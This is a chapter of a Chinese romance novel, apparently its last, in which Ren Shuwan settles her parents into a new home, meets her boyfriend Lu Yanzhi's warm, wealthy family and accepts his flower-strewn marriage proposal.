任舒晚把主卧装成了爸爸妈妈喜欢的风格, 另一个朝阳的小一点的客卧则是她的房间,另一间她做主装成了书房,平日她可以在里面画稿看书追剧。 爸爸妈妈对她的设计十分满意, 在房子里转了好几圈,看看哪里都开心,连墙上一幅普通的挂画都能对着夸半天。 新家第一天入住,任爸说要开火做饭暖房,于是老两口溜达着四处看看顺道去买菜。 两个小时后满载而归,两人不仅买了瓜果蔬菜调料,还把小区周围逛了个遍,任爸称赞这里交通也方便,出门又是公交站又是地铁站,超市菜也新鲜,不过美中不足就是物价要高一些。 任妈则说,大城市怎么也不能跟小县城一样。 他们从不扫兴,永远是开明、愿意接受新鲜事物的父母,任舒晚很知足。 晚上任爸和陆言知下厨,做了一大桌子美食,一家人一起举杯庆祝乔迁和新年。 吃完饭,任舒晚洗碗,陆言知收拾完餐桌就钻进厨房帮忙擦灶台。 他喝了些酒,虽没醉,耳朵到脖子却很红,整个人不似平日意气风发,多了些酒气的慵懒。 任舒晚唤了他一声,他疑惑地歪头靠近她,她顺势一吻落在他耳侧,“好帅呀陆总。” 陆言知无奈,笑道:“浑身酒气还帅吗?” “情人眼里出西施,你什么样子我都觉得帅。”她扬扬下巴,“懂不懂呀,陆总。” 陆言知笑着回吻了她,“懂,就像我觉得你很漂亮,什么时候都漂亮。” 任舒晚满意地眯起眼,“对了,明天上午我们去烧香啊?” 任舒晚想去还愿,她第二次去烧香许愿时求的是一段金玉良缘,现在看来已经实现,她要带他去让神明见一见。 陆言知点头应下,半晌,沉吟唤她,“晚晚。” 他站在她身边,语气温柔,眼神可怜。 见他这副模样,任舒晚就知道是黄鼠狼给鸡拜年,没安好心,“干嘛呀?你不要这么喊我哦。” 陆言知拨弄着她垂下的发丝,绕在指尖,“你晚上回我们家吗?新房这边是不是没有换洗衣服,你护肤品也不在吧。” “不回呀。”她扬眉示意他,道,“你忘了我回老家带得行李了?里面什么都有。” “哦。”他应了声,低头,难得缄默不言。 任舒晚有些诧异,往常他早可怜巴巴的讨价还价了,怎么今天就听话的答应了? “你不想说点什么?”她好奇瞧他。 他没说话,隔了片刻抬眼皮看她,漆黑的瞳仁满溢委屈,“没事,叔叔阿姨来了临城还不熟悉,你陪他们是应该的。” “哦,这样啊。”任舒晚故作惋惜地摇头,“看来妈妈还是操心太多了。” “嗯?”陆言知陡然抬头,“阿姨说什么了?” 任舒晚甩掉手上的水,故意卖关子,慢条斯理地抽了张纸,不紧不慢地擦着,也不说话。 陆言知戳了下她腰间的痒痒肉,“为什么不理我?” 任舒晚笑着躲开,“怎么不理你了,不是一直在说话。” 陆言知蹙眉,偏头望了眼客厅位置,下一秒直接将她抵在流离台边,双手一搭,挡住她逃跑的路线,将她困在分寸之地。 任舒晚吓了一跳,慌张看向客厅,好在任爸任妈正在聚精会神地看电视聊天,并没有注意到厨房的动静。 “你干嘛呀,待会被看到了。”任舒晚推了下他的肩膀,纹丝不动。 他低头靠近,鼻尖亲昵地蹭了下她的脸颊,“我问你阿姨说什么了,你为什么不回答我?” “有你这么问问题的嘛,你这是刑讯逼供。” 陆言知眉梢微挑,“我不介意严刑拷打。” 任舒晚不得不联想到某些时刻,那些“严刑拷打”的时刻。 她脸微红,“你这是屈打成招,都是冤案。” 陆言知笑了声,“没事,我不介意。” 他微微歪头示意客厅的位置,不紧不慢道:“所以晚晚还是不说,真的要让我严刑拷打吗?在这个地方是不是不合适?” “陆言知,你欺负人!”任舒晚恼羞成怒地打了他一拳。 他挨了一下反倒笑得人都在颤抖,“明明你在欺负我,话都不说完。” 任舒晚哼了一声,“你放开我我就告诉你。” 陆言知怕她逃跑,“说话不算话怎么办?” 任舒晚:“不算话就是小狗。” 陆言知考虑一瞬,点头应下,然后放开了她。 她得了自由,火速跟他拉开距离,“妈妈原话是:言知喝酒了,你待会儿送他回家。我说:好的妈妈,那我晚上不回来了。妈妈说:依你,你们难得假期,玩去吧,不用管我们,我明天要跟你爸爸去看电影。” 得到答案,他心满意足地亲了她一口,转头去客厅找任妈,给他们订电影票,还买了博物馆特展的票,让他们去逛一逛。 — 翌日,两人睡到自然醒,起床吃了早饭便去灵泉寺还愿。 年假期间到处人满为患,在入口处排了很久才请了香和鲜花。 陆言知不信佛,便在殿门口等她。 她供上鲜花,敬了香,跪在蒲团上感谢神明,她把陆言知介绍给他们,又许了新年愿望,心诚的礼拜后才离开。 中午两人在外面吃午饭,饭后任舒晚要去买拜访陆言知家人的礼物,结果他早就准备好了,又是满满当当一后备箱,完全不给她操心的机会。 虽然如此,任舒晚还是去商场选了香水给陆妈和嫂子,还给陆言知的小侄子买了玩具。 傍晚,两人开车去陆言知家。 他家老宅在北湖区亭山附近,依山傍水的别墅区,是临城数一数二的豪宅,环境幽静,空气清新,住在这边的都是有权有势的家族,已经不能用有钱来衡量了。 任舒晚对他的家庭有所耳闻,而当真到这里,看着窗外闪过的富丽堂皇的别墅,她不免有些紧张。 陆言知腾出手握住她的手,十指相扣,擦掉她掌心的汗意,“怎么了?紧张?” 任舒晚盯着窗外点了点头,“我不知道该说什么,怕沉默会让气氛尴尬。” 陆言知安抚地握了握她,“没关系,有我在,我会一直陪着你,不会让气氛尴尬。而且他们都很喜欢你,非常期待见到你,你别被他们的热情吓到就好。” “真的吗?”她狐疑地看向陆言知。 “当然。”他回答的斩钉截铁。 当车子开进别墅大门,真的印证了陆言知说得话。 一家人不知何时已经等在了入户门门口,等他们下了车,小侄子抱着花跌跌撞撞地朝他们跑来,奶声奶气道:“叔叔,婶婶。” 小侄子左不过五六岁,抱着堪比身体那么大的花束,勉强能透过花朵看清路。 任舒晚连忙接过,俯身和他打招呼,“你好啊。” 小侄子一瞬不瞬地盯着她,亮晶晶的眼睛眨了眨,“哇,婶婶好漂亮。” 任舒晚扑哧一下笑出声,“你也好帅啊。” 小侄子害羞地抓抓脸,“婶婶,我叫陆锦禾,爸爸妈妈都叫我小锦。” “好的小锦。”任舒晚摸了摸他毛茸茸的脑袋,“你好可爱。” 这时,陆爸陆妈也都走了过来,任舒晚立刻礼貌点头打招呼,“叔叔阿姨好。” 陆妈举止雍容华贵,面相十分和善,眉眼淡淡的,笑容一直挂在嘴边,“晚晚你好。” 陆爸相对更严肃一些,个子很高,虽然有些了白头发,但长相不显老,对她笑着点了点头打招呼。 陆妈亲昵地拉过她,“走,我们去屋里,外面冷。” 陆妈身上香香的,是很清淡的香水味,任舒晚松了口气,觉得自己礼物没选错。 两人走在前面,陆妈热情道:“终于等到你来我们家了,你们工作忙,也就年假能抽出些时间,平常言知都很少回来呢。” 陆锦禾哒哒哒的跟在两人身边,扬声道:“我喜欢婶婶,婶婶要来我们家玩。” 陆妈笑道:“小锦看了你照片就夸你漂亮,知道你会画画以后更是想要见你,非说要跟你一起看漫画书呢。” 陆锦禾一个劲点头,“看漫画,婶婶和小锦一起看漫画。” 一家人对待任舒晚热情有礼,进屋后又是水果又是茶的招待,陆妈还一直陪她聊天,她所担心的氛围沉默完全不存在,倒是出现了陆言知说得,太过热情了,热情到任舒晚生怕回应不及时。 聊了一会儿,陆妈去厨房看饭菜,陆锦禾终于等到任舒晚闲下来,忙要拉着她上楼去看漫画。 任舒晚这会儿比动物园的熊猫都招人稀罕,排着队的陪她玩和她聊天。 跟着陆锦禾回了房间,任舒晚惊讶不已,他房间里竟然有一排巨大的书架,摆满各种儿童绘本和漫画书。 陆言知解释道:“我嫂子很会教育孩子,小锦从小就看书,习惯养成以后自己也喜欢看书,尤其是漫画。他现在常用字最起码认识千字以上,简单的儿童故事他都能自己读下来。” “天哪。”任舒晚惊叹道,“小锦,你也太厉害了吧。” 被夸,陆锦禾又害羞了,脸红扑扑的,动作都变得扭捏起来,“婶婶好,小锦喜欢婶婶。” 陆言知蹲下身捏了捏他的脸,“为什么喜欢婶婶?” “婶婶漂亮,婶婶还像彩彩老师一样夸我。” 任舒晚笑眯眯道:“因为小锦很聪明啊,能认识那么多字。” 陆锦禾被她说得脸更红了。 三人在屋里看起漫画,任舒晚还拿本子给他画了他喜欢的角色,答应他下次带自己小时候画得漫画给他看。 良久后,门被轻轻叩响,一位年轻优雅的女士推门而入,她穿着剪裁合体的旗袍,勾勒出曼妙的身姿,举手投足间温婉贤淑。 “嫂子。”陆言知起身礼貌打招呼,接着介绍任舒晚和她认识。 任舒晚紧随其后起身,“嫂子好。” 琼雅慧淡淡微笑,“你好,在店里总听员工提起你,说你上次和言知救了只小猫。” 任舒晚失笑,不好意思道:“碰巧了,现在在我们家养着呢。” “嗯嗯,除夕那天言知带它们过来了。”琼雅慧笑着扫了眼书桌上的纸笔,“小锦是不是缠着你了。” 任舒晚摇头,“没有,是我在让他陪我玩,让他看我画画。” 陆锦禾跑过去保住琼雅慧的腿,“妈妈,婶婶好。” 他已经要逢人就夸任舒晚了,像宣告天下般,一个劲说任舒晚好。 琼雅慧摸了摸他头,“那你要和婶婶好好玩。” 陆锦禾重重点头,“好!” 琼雅慧:“走吧,我们下楼吃饭吧。” 饭桌上人终于齐了,任舒晚也见到了陆言知的哥哥——陆望。 陆望跟陆言知长得不像,陆言知似乎更像陆妈,陆望则跟陆爸很像,比之更严肃,不苟言笑,说话却十分儒雅有礼。 饭后在老宅玩到很晚,陆言知提出离开,临走时陆妈拉着任舒晚的手,要她有空就回来吃饭,还塞给她一个大锦盒,说是见面礼。 任舒晚没推辞,礼貌收下。 上了车她打开看,是一套红宝石项链、耳坠,宝石大的耀眼,应该属于收藏款了。 “这……太贵重了!”任舒晚盖上,“要不还是还给阿姨吧,我不收藏这些呀。” 陆言知笑道:“现在开始收藏也可以。你不用有压力,我妈喜欢你才给你,你收着就行。” 任舒晚:“那放进你的保险箱吧。” 陆言知扬眉,“再给你买个保险箱,以后你的东西会越来越多。” 任舒晚瞪大眼睛,“下次我不要贸然收阿姨的礼物了,太贵重了。” 回了家,任舒晚把东西塞进了陆言知的保险箱,又陪汤汤和煤球玩,玩了没一会儿陆言知就催她去洗澡。 她意犹未尽,抱着汤汤rua着,“不要,你先去嘛,我还要再玩一会儿。” “洗完澡再玩。”陆言知拉起她,推着她上楼。 把她推进浴室,陆言知顺手关上门出去了。任舒晚受宠若惊,平常她赶都赶不走他,非要跟她一起洗,今天怎么听话了? 她有些疑惑,也没多想。 洗完澡吹完头发出来,卧室里静悄悄的,没陆言知的身影。 “陆言知?”她喊了一声,没回应,便拉开门去楼下找。 走下楼梯拐到客厅里,任舒晚突然停住了,她一动不动地看着眼前的一切,震惊到说不出话。 客厅里开着暖黄的灯,鲜花从地板摆到地毯上,营造出一条蜿蜒的小路,而路的尽头,陆言知长身而立,汤汤和煤球一猫一兔蹲在他两侧,嘴里分别咬着两束花,昂首挺胸,十分威武。 任舒晚眨了眨眼,心里涨涨的,像溢满了数不尽的幸福。 她顺着鲜花小路朝陆言知走去,一步一脚印,缓慢坚定。 而他似乎有些等不及了,迎着她大步走了过来,两小只训练有素,立刻叼着花跟上,一蹦一跳间花稳稳当当地咬着。 直至走到她面前,陆言知才摊开掌心里的锦盒,下一秒单膝跪地,锦盒开启,一枚钻戒静静立在里面,璀璨的紫色宝石熠熠生辉,像缀满无数星光。 “晚晚,你愿意嫁给我吗?” 他声音有些颤抖,语气认真坚定。 任舒晚眼眶好酸,眨眼间一颗泪滚了下来,是惊喜是激动,是他用心的准备。 在一个普通的夜晚,爱的人跪在面前求婚,两个人的孩子被安排成重要的角色,都在期待地望着她,等待她的答案。 她吸了吸鼻子,一步上前,伸出左手,“我愿意。” 话出口,泪如断了线的珍珠,抑制不住。 冰凉的钻戒套进中指,紧密贴合着指骨,严丝合缝,像在庄重的宣示两人的爱情。 他将她抱进怀中,牢牢圈着,似乎想把她刻进骨子里一样。 她回抱他,哽咽道:“干嘛这么突然?” “我要把你留在身边,让你永远都只能属于我。” 他嗅着她身上的馨香,吻过她脸颊的泪痕,最终温柔覆上她的唇,缓慢轻柔碾过,如同对待稀世珍宝,小心翼翼。 “喵~” 汤汤发出可怜的叫声。 两人停下,回头望去,鲜花不知何时落了地,两小只正委屈地望着他们,似乎在说:咬不住了爸爸妈妈。 任舒晚破涕为笑,“你看看,只让人家咬着,不给人家拿掉,坏爸爸。” 陆言知对着它们道:“明天给你们加餐。” 话音落,他俯身将她公主抱起,大步往楼上去。 天旋地转间她已躺在床上,身边陷下去,他欺身压了过来,吻细密落下,额头、眼睫、唇角。 一处一处…… 游离而过,留下潮热的水痕。 夜,悄然而至。 他甘愿归属,归属于她,他的爱人- 正文完-《 》